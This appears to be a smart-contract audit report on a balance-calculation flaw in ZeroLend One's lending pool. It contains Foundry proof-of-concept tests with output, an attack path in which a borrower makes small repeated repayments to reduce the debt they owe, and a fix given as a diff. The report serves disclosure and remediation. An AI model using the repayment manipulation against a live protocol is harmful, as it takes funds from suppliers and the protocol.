Modern Garnet Cyborg

High

# Incorrect balance calculation affects protocol users

### Summary

The smart contract has a critical vulnerability in its balance calculation logic, for both supply and debt balances, which, therefore affects both, suppliers and borrowers.

For suppliers, the incorrect calculation can result in a loss of funds by underestimating the amount they are entitled to upon withdrawal. Furthermore, in a specific scenario, the `PositionBalance::supplyShares` could never be burnt to 0 value.

For borrowers, the flaw allows manipulation of repayment logic to reduce the effective debt owed to the protocol. Furthermore, borrowers, in specific scenario, will never be able to repay the full debt amount. 

This dual impact can lead to a significant loss of funds for both individual users and the protocol itself.

### Root Cause

The vulnerability stems from the incorrect calculation of supply and debt balances using the liquidity index. The current functions, [getSupplyBalance](https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L126) and [getDebtBalance](https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L137), compute balances by adding the difference between rebased values at different liquidity indices.

However, the following functions will update `PositionBalance.lastSupplyLiquidtyIndex` and `PositionBalance.lastDebtLiquidtyIndex` to the current index value when performing supplying, borrowing, withdrawal or repaying. **This would overwrite the variable values if they were set by previous operations**, and therefore make the calculations given above inaccurate, since it will consider wrong index change and will not account for previously accrued interest:

1. [supplying](https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L38)
2. [borrowing](https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L62)
3. [withdrawal](https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L85)
4. [repaying](https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L107)

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

There are multiple ways this vulnerability could be exploited, all leading to the same outcome: **loss of funds**.

To illustrate this, consider the following simplified scenario (proven in the first test bellow):

1. John supplies funds to the protocol when the liquidity index is at liquidityIndex_1.
2. John supplies additional funds when the liquidity index changes to liquidityIndex_2.
3. Later, John decides to withdraw all his funds when the liquidity index is at liquidityIndex_3.

Due to the incorrect supply balance calculation logic, John will only receive the interest accrued due to liquidityIndex change from liquidityIndex_2 value to liquidityIndex_3 value for his total deposits. However, the interest accrued due to liquidityIndex change from liquidityIndex_1 to liquidityIndex_2 for his initial deposit will be incorrectly excluded, effectively resulting in a loss of funds.

Furthermore, this withdrawal of the full amount, demonstrated in the test bellow will not set the `PositionBalance::supplyShares` to 0 value, but will set using as collateral flag to false, which will lead to inconsistent state of the protocol.

Considering borrow-repay logic, we also considered one of the possible scenarios in the second test bellow: the one when user is not able to repay whole debt.

1. Alice borrows funds when the borrow index is at borrowIndex_1.
2. Alice borrows additional funds when the borrow index is at borrowIndex_2.
3. Later, Alice decides to repay whole amount of debt when borrow index is at borrowIndex_3.

Due to the incorrect debt balance calculation logic, Alice will not be able to repay whole amount of debt even if she wants to which will lead to undesired loss of funds which, in this scenario could never be repaid.

Furthermore, malicious user could exploit this scenario in another way:

1. Alice borrows funds.
2. After certain time, Alice repays very small amount of debt, and therefore changes the `PositionBalance::lastDebtLiquidty` index to the current index value, effectively reducing the debt owed to the protocol, i.e. calculation of the remaining debt will be significantly lower. Furthermore, this will also prevent Alice from burning whole amount of debt shares. Some remainder will exist, due to wrong calculation. However, it can be removed if the repayment is repeated until remaining debt shares are rounded to 0 value.

Therefore, malicious user can reduce their debt and cause loss of funds for both the protocol and suppliers.

### Impact

The vulnerability has two main impacts:

1. **Loss of funds for users**: The incorrect balance calculation can result in a user receiving fewer tokens than expected after withdrawal. For example, in the test case, given bellow, John ends up with less than the correct amount of tokens due to the flawed logic in calculating the rebased value. Furthermore, as demonstrated above, there are possible scenarios where user will not be able to repay the whole amount of debt even if he wants to.

2. **Loss of funds for the protocol**: Malicious users can exploit this vulnerability by manipulating repayments. By making a small repayment to update the index and then repaying the rest, they can effectively reduce the debt owed to the protocol. Also, it should be mentioned that in this scenario user will not be able to fully repay the debt. This manipulation results in a loss of interest that should have been accrued, directly impacting the protocol's financial stability.


### PoC

Place the following test into `test/forge/core/pool/PoolWithdrawTests.t.sol`

```solidity
  function testUserBalanceWrong() external {

    address alice = address(1);
    address bob = address(2);

    uint256 mintAmountA = 1000 ether;
    uint256 mintAmountB = 2000 ether;
    uint256 supplyAmountA = 550 ether;
    uint256 supplyAmountB = 750 ether;
    // uint256 borrowAmountB = 100 ether;
    address john = address(3);
    uint256 mintAmountAJohn = 200 ether;

    _mintAndApprove(alice, tokenA, mintAmountA, address(pool)); // alice 1000 tokenA
    _mintAndApprove(john, tokenB, mintAmountAJohn, address(pool)); // john 10000 tokenA
    _mintAndApprove(bob, tokenB, mintAmountB, address(pool)); // bob 2000 tokenB

    vm.startPrank(alice);
    pool.supplySimple(address(tokenA), alice, supplyAmountA, 0); // 550 tokenA alice supply
    vm.stopPrank();

    vm.startPrank(bob);
    pool.supplySimple(address(tokenB), bob, supplyAmountB, 0); // 750 tokenB bob supply
    vm.stopPrank();

    vm.startPrank(alice);
    pool.borrowSimple(address(tokenB), alice, 10 ether, 0); // 10 tokenB alice borrow
    vm.stopPrank();

    DataTypes.ReserveData memory data1 = pool.getReserveData(address(tokenB));
    console.log("Liquidity index 1: ", data1.liquidityIndex);
    //first supply with index value 1
    vm.startPrank(john);
    pool.supplySimple(address(tokenB), john, 100 ether, 0); // 100 tokenB john supply
    vm.stopPrank();

    //manipulating the index
    vm.warp(block.timestamp + 365 days);
    vm.startPrank(alice);
    pool.borrowSimple(address(tokenB), alice, 10 ether, 0); // 10 tokenB alice borrow
    vm.stopPrank();

    DataTypes.ReserveData memory data2 = pool.getReserveData(address(tokenB));
    console.log("Liquidity index 2: ", data2.liquidityIndex);
    //second supply, with index value 2
    vm.startPrank(john);
    pool.supplySimple(address(tokenB), john, 100 ether, 0); // 200 tokenB john supply
    vm.stopPrank();

    //manipulating the index
    vm.warp(block.timestamp + 365 days);
    vm.startPrank(alice);
    pool.borrowSimple(address(tokenB), alice, 10 ether, 0); // 10 tokenB alice borrow
    vm.stopPrank();

    DataTypes.ReserveData memory data3 = pool.getReserveData(address(tokenB));
    console.log("Liquidity index 3: ", data3.liquidityIndex);

    uint256 shouldHave = (100 ether * 1e27/data1.liquidityIndex + 100 ether * 1e27/data2.liquidityIndex) * data3.liquidityIndex/1e27;
    console.log("Should have: ", shouldHave);
    uint256 willHave = (100 ether * 1e27/data1.liquidityIndex + 100 ether * 1e27/data2.liquidityIndex) * data3.liquidityIndex/1e27 - (100 ether * 1e27/data1.liquidityIndex + 100 ether * 1e27/data2.liquidityIndex) * data2.liquidityIndex/1e27 + (100 ether * 1e27/data1.liquidityIndex + 100 ether * 1e27/data2.liquidityIndex);
    console.log("But will have: ", willHave);

    uint256 balanceBefore = tokenB.balanceOf(john);
    console.log("Balance before withdraw: ", balanceBefore);
    
    //withdrawal with index value 3
    vm.startPrank(john);
    pool.withdrawSimple(address(tokenB), john, type(uint256).max, 0); //withdrawing everything
    vm.stopPrank();

    uint256 balanceAfter = tokenB.balanceOf(john);
    console.log("Balance after withdraw: ", balanceAfter);

    assertApproxEqRel(shouldHave, balanceAfter, 1e3, "Will revert due to inconsistent calculation.");
  }
```

You can run the test by using the following command:
`forge test --mt testUserBalanceWrong -vv`, and will get output which looks like this:

```solidity
Ran 1 test for test/forge/core/pool/PoolWithdrawTests.t.sol:PoolWithdrawTests
[FAIL. Reason: Will revert due to inconsistent calculation.: 200015286309512796910 !~= 200011163551446109165 (max delta: 0.0000000000001000%, real delta: 0.0020612639782115%)] testUserBalanceWrong() (gas: 1137246)
Logs:
  Liquidity index 1:  1000000000000000000000000000
  Liquidity index 2:  1000020614002797614665390562
  Liquidity index 3:  1000086739230501557086016418
  Should have:  200015286309512796910
  But will have:  200011163551446109164
  Balance before withdraw:  0
  Balance after withdraw:  200011163551446109165

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 9.42ms (4.93ms CPU time)

Ran 1 test suite in 48.80ms (9.42ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/forge/core/pool/PoolWithdrawTests.t.sol:PoolWithdrawTests
[FAIL. Reason: Will revert due to inconsistent calculation.: 200015286309512796910 !~= 200011163551446109165 (max delta: 0.0000000000001000%, real delta: 0.0020612639782115%)] testUserBalanceWrong() (gas: 1137246)

Encountered a total of 1 failing tests, 0 tests succeeded
```


Considering borrow-repay logic, we also considered one of the possible scenarios: the one when user is not able to repay whole debt. In order to demonstrate this, place the following test in the `test/forge/core/pool/PoolRepayTests.t.sol`:

```solidity
  function testCantRepayEverything() external {
    address alice = address(1);
    address bob = address(2);
    address john = address(3);

    uint256 mintAmountAJohn = 200 ether;

    uint256 mintAmountA = 1000 ether;
    uint256 mintAmountB = 2000 ether;
    uint256 supplyAmountA = 550 ether;
    uint256 supplyAmountB = 750 ether;

    _mintAndApprove(alice, tokenA, mintAmountA, address(pool)); // alice 1000 tokenA
    _mintAndApprove(john, tokenB, mintAmountAJohn, address(pool)); // john 10000 tokenA
    _mintAndApprove(bob, tokenB, mintAmountB, address(pool)); // bob 2000 tokenB
    _mintAndApprove(alice, tokenB, mintAmountB, address(pool)); // alice 2000 tokenB so she can repay the debt

    vm.startPrank(alice);
    pool.supplySimple(address(tokenA), alice, supplyAmountA, 0); // 550 tokenA alice supply
    vm.stopPrank();

    vm.startPrank(bob);
    pool.supplySimple(address(tokenB), bob, supplyAmountB, 0); // 750 tokenB bob supply
    vm.stopPrank();

    DataTypes.ReserveData memory data1 = pool.getReserveData(address(tokenB));
    console.log("Borrow index 1: ", data1.borrowIndex);
    vm.startPrank(alice);
    pool.borrowSimple(address(tokenB), alice, 10 ether, 0); // 10 tokenB alice borrow
    vm.stopPrank();

    //manipulating the index
    vm.warp(block.timestamp + 365 days);
    vm.startPrank(john);
    pool.supplySimple(address(tokenB), john, 100 ether, 0); // 100 tokenB john supply
    vm.stopPrank();

    DataTypes.ReserveData memory data2 = pool.getReserveData(address(tokenB));
    console.log("Borrow index 2: ", data2.borrowIndex);
    //second borrow
    vm.startPrank(alice);
    pool.borrowSimple(address(tokenB), alice, 10 ether, 0); // 10 tokenB alice borrow
    vm.stopPrank();

    //manipulating the index again
    vm.warp(block.timestamp + 365 days);
    vm.startPrank(john);
    pool.supplySimple(address(tokenB), john, 100 ether, 0); // 100 tokenB john supply
    vm.stopPrank();

    DataTypes.ReserveData memory data3 = pool.getReserveData(address(tokenB));
    console.log("Borrow index 3:", data3.borrowIndex);

    vm.startPrank(alice);
    pool.repaySimple(address(tokenB), type(uint256).max, 0); // allice repays everything
    vm.stopPrank();

    (,uint256 totalDebtAliceBase,,,,) = pool.getUserAccountData(alice, 0); 
    console.log("Total base debt Alice: ", totalDebtAliceBase);
    assert(totalDebtAliceBase != 0);
  }
```
You can run the test by using the following command:
`forge test --mt testCantRepayEverything -vv`, and will get output which looks like this:

```solidity
Ran 1 test for test/forge/core/pool/PoolRepayTests.t.sol:PoolRepayTests
[PASS] testCantRepayEverything() (gas: 1036766)
Logs:
  Borrow index 1:  1000000000000000000000000000
  Borrow index 2:  1001987787334244307597864113
  Borrow index 3: 1005508705976982704040901696
  Total base debt Alice:  7943262

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.59ms (3.30ms CPU time)

Ran 1 test suite in 43.57ms (7.59ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

To fix the vulnerability, the balance calculation logic should be adjusted to correctly compute the rebased value based on the current liquidity index. Specifically, the functions should be updated as follows:

```diff
  function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index) public view returns (uint256 supply) {
-    uint256 increase = self.supplyShares.rayMul(index) - self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
-    return self.supplyShares + increase;
+    return self.supplyShares.rayMul(index);
  }

  function getDebtBalance(DataTypes.PositionBalance storage self, uint256 index) internal view returns (uint256 debt) {
-    uint256 increase = self.debtShares.rayMul(index) - self.debtShares.rayMul(self.lastDebtLiquidtyIndex);
-    return self.debtShares + increase;
+    return self.debtShares.rayMul(index);
  }
```

By applying these changes, the balance calculations will accurately reflect the rebased value based on the current liquidity index, preventing both loss of funds for users and manipulation of repayments that would harm the protocol stability.